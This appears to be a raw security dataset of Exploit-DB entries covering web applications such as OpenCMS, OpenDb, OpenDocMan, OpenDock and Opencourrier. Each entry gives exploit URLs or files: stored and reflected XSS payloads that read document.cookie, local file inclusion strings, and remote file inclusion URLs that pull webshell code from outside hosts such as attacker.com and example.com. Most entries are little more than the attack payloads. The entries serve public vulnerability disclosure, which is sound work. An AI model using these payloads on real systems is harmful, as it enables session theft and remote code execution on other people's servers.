deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44392
Description: OpenCMS 10.5.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-02
Author: Sureshbabu Narvaneni

Exploit:
# Exploit Title: OpenCMS 10.5.3 Stored Cross Site Scripting Vulnerability
# Google Dork: N/A
# Date: 02-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.opencms.org/en/
# Software Link: http://www.opencms.org/en/modules/downloads/begindownload.html?id=a7747cd0-b27b-11e7-8299-7fde8b0295e1
# Affected Version: 10.5.3
# Category: WebApps
# Tested on: Ubuntu 14.04 x86_64/Kali Linux 4.12 i686
# CVE : CVE-2018-8815

1. Vendor Description:

OpenCms from Alkacon Software is a professional, easy to use website
content management system. OpenCms helps content managers worldwide to
create and maintain beautiful websites fast and efficiently.

2. Technical Description:

Cross-site scripting (XSS) vulnerability in the gallery function in Alkacon
OpenCMS 10.5.3 allows remote attackers to inject arbitrary web script or
HTML via a malicious SVG image.

3. Proof Of Concept:

a) Login as user who is having Gallery Editor role.
b) Navigate to gallery and upload below svg file.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
    <script type="text/javascript">
      alert(document.cookie);
    </script>
</svg>
c) Once other user who is having Root Administrator permissions visited the
image link or viewed the uploaded svg image the script get executed.

4. Solution:

Upgrade to latest release.
http://www.opencms.org/en/home/news.html

5. Reference:
https://github.com/alkacon/opencms-core/issues/587
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-8815
Exploit-DB #52209
Description: OpenCMS 17.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-04-15
Author: Siddhartha Naik

Exploit:
# Exploit Title: OpenCMS 17.0 - Stored Cross Site Scripting (XSS)
# Date: 24-11-2024
# Exploit Author: Siddhartha Naik
# Vendor Homepage: http://www.opencms.org/en/
# Software Link: http://www.opencms.org/en/modules/downloads/begindownload.html?id=dade528f-ec17-11ee-ab97-7fde8b0295e1
# Affected Version: 17.0
# Category: WebApps
# Tested on: Windows 11
# CVE : CVE-2024-41447

1. Vendor Description:

OpenCms from Alkacon Software is a professional, easy to use website
content management system. OpenCms helps content managers worldwide to
create and maintain beautiful websites fast and efficiently.

2. Technical Description:

This is a Stored XSS vulnerability in the author field seen when publishing an article.
 This vulnerability has been tested on latest versions of Brave and Firefox browsers.
 It is believed to affect any user who clicks on the "Read More" button of the affected article and
 can be exploited by any user who is able to modify/create articles.

3. Proof Of Concept:

a)  Start by creating a new article. In the author field write your script like so:

<script>alert(1)</script>

b)  Save and publish the article
c)  The user who clicks on the read more button gets a popup saying '1' 

4. Solution:

Upgrade to latest release.
http://www.opencms.org/en/home/news.html

5. Reference:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41447            
https://github.com/Sidd545-cr/CVE/blob/main/CVE-2024-41447%20-%20Stored%20XSS%20in%20author%20field.pdf
http://alkacon.com
http://opencms.com
Exploit-DB #12396
Description: OpenCominterne 1.01 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-26
Author: cr4wl3r

Exploit:
====================================================
OpenCominterne 1.01 Local File Include Vulnerability
====================================================

[+] OpenCominterne 1.01 Local File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/1569/openmairie_cominterne_1.01.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC: http://server/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-26]
Exploit-DB #12398
Description: Opencourrier 2.03beta - Local File Inclusion / Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-04-26
Author: cr4wl3r

Exploit:
===================================================================
Opencourrier 2.03beta (RFI/LFI) Multiple File Include Vulnerability
===================================================================

[+] Opencourrier 2.03beta (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/4708/openmairie_courrier2_2.03beta.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://server/[path]/obj/bible.class.php?path_om=[Shell]
http://server/[path]/obj/dossier.class.php?pservice.class.phpcategorie.class.php?path_om=[Shell]
http://server/[path]/obj/collectivite.class.php?path_om=[Shell]
http://server/[path]/obj/droit.class.php?path_om=[Shell]
http://server/[path]/obj/tache.class.php?path_om=[Shell]
http://server/[path]/obj/emetteur.class.php?path_om=[Shell]
http://server/[path]/obj/utilisateur.class.php?path_om=[Shell]
http://server/[path]/obj/courrier.recherche.tab.class.php?path_om=[Shell]
http://server/[path]/obj/profil.class.php?path_om=[Shell]

[~] LFI:
http://server/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-26]
Exploit-DB #10286
Description: OpenCSP - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-11-25
Author: EANgel

Exploit:
                                    
[@]================================================================================================================================================[@]
						 
[+] Location    	 : notepad						 
[+] Situs          	 : www[dot]manadocoding[dot]net						    	 					
[+] Contact        	 : engelpemula[at]gmail[dot]com							 
[+] Download Script	 : http://sourceforge.net/projects/opencsp/					 	
[@]================================================================================================================================================[@]



[@]================================================================================================================================================[@]
[+] 3xpl0it		 : http://server/htsystem/admin/client/newClient.php?GLOBALS[OCSP][DEFAULTCONFPATH]=http://example.com/webshell.txt?
[+]                        http://server/htsystem/admin/modules/galerie/index.php?GLOBALS[OCSP][DEFAULTCONFPATH]=http://example.com/webshell.txt?
[+]                        http://server/htsystem/system/calendar.php?GLOBALS[PROJECT][PHPINCPATH]=http://example.com/webshell.txt?
[+]                        http://server/htsystem/system/forms/calendar.php?GLOBALS[PROJECT][PHPINCPATH]=http://example.com/webshell.txt?
[@]================================================================================================================================================[@]


[@]================================================================================================================================================[@]
[+] Greetz t00		 : All crew ManadoCoding [manadocoding.net]                                              
[+]                                                                                             	
[+]                        All Crew SekuritiOnline [sekuritionline.net]					
[@]================================================================================================================================================[@]


[@]================================================================================================================================================[@]
[+] Note		 : Anxiety in a man's heart weighs it down, but an encouraging word makes it glad (Proverbs 12:25)                                                                       
[@]================================================================================================================================================[@]

                                                        Thanks God for this day

			 	                           * GOD BLESS ALL *
Exploit-DB #32314
Description: OpenDB 1.0.6 - 'listings.php?title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-28
Author: C1c4Tr1Z

Exploit:
source: https://www.securityfocus.com/bid/30989/info
 
Open Media Collectors Database (OpenDb) is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
OpenDb 1.0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/listings.php?search_list=y&linked_items=include&title_match=partial&title=<img/src/onerror=alert(document.cookie)>
Exploit-DB #32313
Description: OpenDB 1.0.6 - 'user_admin.php?user_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-28
Author: C1c4Tr1Z

Exploit:
source: https://www.securityfocus.com/bid/30989/info

Open Media Collectors Database (OpenDb) is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

OpenDb 1.0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/user_admin.php?op=edit&user_id=<img/src/onerror=alert(document.cookie)>
Exploit-DB #32315
Description: OpenDB 1.0.6 - 'user_profile.php?redirect_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-28
Author: C1c4Tr1Z

Exploit:
source: https://www.securityfocus.com/bid/30989/info
  
Open Media Collectors Database (OpenDb) is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
OpenDb 1.0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/user_profile.php?uid=[USERNAME]&subject=No+Subject&redirect_link=Back+to+Statistics&redirect_url=javascript:alert(document.cookie)
Exploit-DB #11240
Description: OpenDb 1.5.0.4 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-01-23
Author: ViRuSMaN

Exploit:
==============================================================================
__ __ __ __ __ __
/ \ / \ \ \ / / / \ / \
/ /\ \_/ /\ \ \ \ / / / /\ \_/ /\ \
/ / \ _ / \ \ \ \/ / / / \ _ / \ \
/_/ \_\ \__/ /_/ \_\

==============================================================================
[»] ~ Note : Works Only With Magic_Quotes_Gpc = Off .
==============================================================================
[»] OpenDb 1.5.0.4 Multiple LFI Vulnerability
==============================================================================

[»] Script: [ OpenDb ]
[»] Language: [ PHP ]
[»] Site page: [ The Open Media Collectors Database is a PHP and MySQL based inventory application ]
[»] Download: [ http://sourceforge.net/projects/opendb/files/ ]
[»] Founder: [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
[»] Greetz to: [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com ]
[»] My Home: [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===
#~ [C:\AppServ\www\Scripts\opendb\include\begin.inc.php]
#~ Line 213 : include_once("./theme/$_OPENDB_THEME/theme.php");

[»] http://target/path/include/begin.inc.php?_OPENDB_THEME=[LFI%00]


===[ Exploit 2 ]===
#~[C:\AppServ\www\Scripts\opendb\functions\site_plugin.php]
#~Line 126 : include_once("./site/".$site_plugin_classname.".class.php");

[»] http://target/path/functions/site_plugin.php?site_plugin_classname=[LFI%00]

Author: ViRuSMaN <-

###########################################################################
Exploit-DB #2570
Description: OpenDock FullCore 4.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-16
Author: Matdhule

Exploit:
---------------------------------------------------------------------------------
OpenDock FullCore <= v4.4 Remote File Include Vulnerabilities
---------------------------------------------------------------------------------

Author : Matdhule

Contact : matdhule@gmail.com

Application : OpenDock FullCore

Version : 4.4

Download : http://web.opendock.net//up_file/opendock_full_core_44_66_od.zip

---------------------------------------------------------------------------------

Vulnerability:

In folder sw we found vulnerability script index_sw.php.

-----------------------index_sw.php---------------------------------
<?php

include $doc_directory.$path_sw."lib_config/lib_sys_config.php";
include $doc_directory.$path_sw."lib_main/lib_main.php";

-------------------------------------------------------------------------

Input passed to the "$doc_directory" parameter in index_sw.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

sw/lib_cart/cart.php
sw/lib_cart/lib_cart.php
sw/lib_cart/lib_read_cart.php
sw/lib_cart/lib_sys_cart.php
sw/lib_cart/txt_info_cart.php
sw/lib_comment/comment.php
sw/lib_comment/find_comment.php
sw/lib_comment/lib_comment.php
sw/lib_find/find.php

And many others files...

---------------------------------------------------------------------------------

Exploit :

http://target.com/[OpenDockFullCore_Path]/sw/index_sw.php?doc_directory=http://attacker.com/inject.txt ?
http://target.com/[OpenDockFullCore_Path]/sw/lib_cart/cart.php?doc_directory=http://attacker.com/inject.txt ?
http://target.com/[OpenDockFullCore_Path]/sw/lib_cart/lib_cart.php?doc_directory=http://attacker.com/inject.txt ?
http://target.com/[OpenDockFullCore_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt ?

---------------------------------------------------------------------------------

Greetz : solpot, j4mbi_h4ck3r, h4ntu, the_day, bius, thama & all crews #nyubicrew, #e-c-h-o, @dalnet

# milw0rm.com [2006-10-16]
Exploit-DB #33295
Description: OpenDocMan 1.2.5 - 'add.php?last_message' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info

OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/add.php?last_message=<script>alert(1)</script>
Exploit-DB #33298
Description: OpenDocMan 1.2.5 - 'admin.php?last_message' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info
   
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/admin.php?last_message=<script>alert(1)</script>
Exploit-DB #33299
Description: OpenDocMan 1.2.5 - 'category.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info
    
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/category.php/"><script>alert(1)</script><"?aku=c3VibWl0PWFkZCZzdGF0ZT0y
Exploit-DB #33300
Description: OpenDocMan 1.2.5 - 'department.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info
     
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/department.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
Exploit-DB #33297
Description: OpenDocMan 1.2.5 - 'index.php?last_message' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info
  
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/index.php?last_message=<script>alert(1)</script>
Exploit-DB #33301
Description: OpenDocMan 1.2.5 - 'profile.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info
      
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/profile.php/"><script>alert(1)</script>
Exploit-DB #33302
Description: OpenDocMan 1.2.5 - 'rejects.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info
       
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
       
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/rejects.php/"><script>alert(1)</script>